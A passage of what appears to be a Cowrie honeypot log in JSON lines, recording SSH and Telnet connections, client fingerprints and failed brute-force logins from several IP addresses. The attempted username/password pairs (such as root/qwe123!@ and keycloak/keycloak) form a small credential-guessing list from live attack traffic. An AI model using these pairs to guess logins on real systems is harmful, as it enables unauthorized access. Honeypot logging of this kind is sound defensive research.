],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:42:31.150474Z","src_ip":"176.65.132.129","session":"c17ba52f1510","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwe123!@","message":"login attempt [root/qwe123!@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:42:31.398810Z","src_ip":"176.65.132.129","session":"c17ba52f1510","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:42:32.483782Z","src_ip":"176.65.132.129","session":"c17ba52f1510","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":55734,"dst_ip":"159.203.135.109","dst_port":23,"session":"bac8cf167c35","protocol":"telnet","message":"New connection: 38.60.198.128:55734 (159.203.135.109:23) [session: bac8cf167c35]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:42:33.844420Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":57712,"dst_ip":"10.17.0.5","dst_port":22,"session":"9412058fee78","protocol":"ssh","message":"New connection: 176.65.132.129:57712 (10.17.0.5:22) [session: 9412058fee78]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:42:34.571204Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:42:34.575569Z","src_ip":"176.65.132.129","session":"9412058fee78","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:42:34.659256Z","src_ip":"176.65.132.129","session":"9412058fee78","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tom","password":"123456","message":"login attempt [tom/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:42:34.908473Z","src_ip":"176.65.132.129","session":"9412058fee78","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:42:36.153228Z","src_ip":"176.65.132.129","session":"9412058fee78","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":60304,"dst_ip":"10.17.0.5","dst_port":22,"session":"1248b19e9481","protocol":"ssh","message":"New connection: 176.65.132.129:60304 (10.17.0.5:22) [session: 1248b19e9481]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:42:37.923579Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:42:37.928492Z","src_ip":"176.65.132.129","session":"1248b19e9481","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:42:38.010227Z","src_ip":"176.65.132.129","session":"1248b19e9481","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"john","password":"john","message":"login attempt [john/john] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:42:38.256453Z","src_ip":"176.65.132.129","session":"1248b19e9481","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:42:39.340564Z","src_ip":"176.65.132.129","session":"1248b19e9481","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.211.53.160","src_port":46406,"dst_ip":"159.203.135.109","dst_port":23,"session":"2a57ab6c0de3","protocol":"telnet","message":"New connection: 192.211.53.160:46406 (159.203.135.109:23) [session: 2a57ab6c0de3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:42:40.205927Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":60322,"dst_ip":"10.17.0.5","dst_port":22,"session":"ed671c201190","protocol":"ssh","message":"New connection: 176.65.132.129:60322 (10.17.0.5:22) [session: ed671c201190]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:42:41.316050Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:42:41.378987Z","src_ip":"176.65.132.129","session":"ed671c201190","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:42:41.417389Z","src_ip":"176.65.132.129","session":"ed671c201190","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa123456@","message":"login attempt [root/Aa123456@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:42:41.719213Z","src_ip":"176.65.132.129","session":"ed671c201190","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:42:42.804491Z","src_ip":"176.65.132.129","session":"ed671c201190","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":60340,"dst_ip":"10.17.0.5","dst_port":22,"session":"9666f0e94c66","protocol":"ssh","message":"New connection: 176.65.132.129:60340 (10.17.0.5:22) [session: 9666f0e94c66]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:42:44.734836Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:42:44.739874Z","src_ip":"176.65.132.129","session":"9666f0e94c66","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:42:44.830468Z","src_ip":"176.65.132.129","session":"9666f0e94c66","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"developer","password":"developer","message":"login attempt [developer/developer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:42:45.077624Z","src_ip":"176.65.132.129","session":"9666f0e94c66","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"199.195.254.215","src_port":57928,"dst_ip":"10.17.0.5","dst_port":22,"session":"a0ab6f16ac42","protocol":"ssh","message":"New connection: 199.195.254.215:57928 (10.17.0.5:22) [session: a0ab6f16ac42]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:42:45.121706Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:42:45.143660Z","src_ip":"199.195.254.215","session":"a0ab6f16ac42","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:42:45.793436Z","src_ip":"199.195.254.215","session":"a0ab6f16ac42","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:42:46.169536Z","src_ip":"176.65.132.129","session":"9666f0e94c66","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":36510,"dst_ip":"10.17.0.5","dst_port":22,"session":"2884655931b3","protocol":"ssh","message":"New connection: 176.65.132.129:36510 (10.17.0.5:22) [session: 2884655931b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:42:48.093885Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:42:48.098872Z","src_ip":"176.65.132.129","session":"2884655931b3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:42:48.181558Z","src_ip":"176.65.132.129","session":"2884655931b3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"Password123!","message":"login attempt [ftpuser/Password123!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:42:48.396610Z","src_ip":"199.195.254.215","session":"a0ab6f16ac42","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"keycloak","password":"keycloak","message":"login attempt [keycloak/keycloak] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:42:48.705469Z","src_ip":"176.65.132.129","session":"2884655931b3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.98.56.227","src_port":40134,"dst_ip":"10.17.0.5","dst_port":22,"session":"6921724b29a3","protocol":"ssh","message":"New connection: 198.98.56.227:40134 (10.17.0.5:22) [session: 6921724b29a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:42:49.234622Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:42:49.244492Z","src_ip":"198.98.56.227","session":"6921724b29a3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:42:49.379618Z","src_ip":"198.98.56.227","session":"6921724b29a3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:42:49.790004Z","src_ip":"176.65.132.129","session":"2884655931b3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"qq123456","message":"login attempt [ubuntu/qq123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:42:50.005526Z","src_ip":"198.98.56.227","session":"6921724b29a3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.0","message":"Connection lost after 5.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:42:50.081663Z","src_ip":"199.195.254.215","session":"a0ab6f16ac42","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":46908,"dst_ip":"159.203.135.109","dst_port":23,"session":"fc8d31a47897","protocol":"telnet","message":"New connection: 38.60.198.128:46908 (159.203.135.109:23) [session: fc8d31a47897]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:42:50.305881Z"}
{"eventid":"cowrie.session.connect","src_ip":"167.172.73.9","src_port":52004,"dst_ip":"10.17.0.5","dst_port":22,"session":"6f5343522a75","protocol":"ssh","message":"New connection: 167.172.73.9:52004 (10.17.0.5:22) [session: 6f5343522a75]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:42:50.780580Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:42:50.789103Z","src_ip":"167.172.73.9","session":"6f5343522a75","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:42:51.018011Z","src_ip":"198.98.56.227","session":"6921724b29a3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:42:51.035439Z","src_ip":"167.172.73.9","session":"6f5343522a75","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":36512,"dst_ip":"10.17.0.5","dst_port":22,"session":"fd9e8ecfc277","protocol":"ssh","message":"New connection: 176.65.132.129:36512 (10.17.0.5:22) [session: fd9e8ecfc277]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:42:51.642134Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:42:51.646690Z","src_ip":"176.65.132.129","session":"fd9e8ecfc277","protocol":"ssh"}
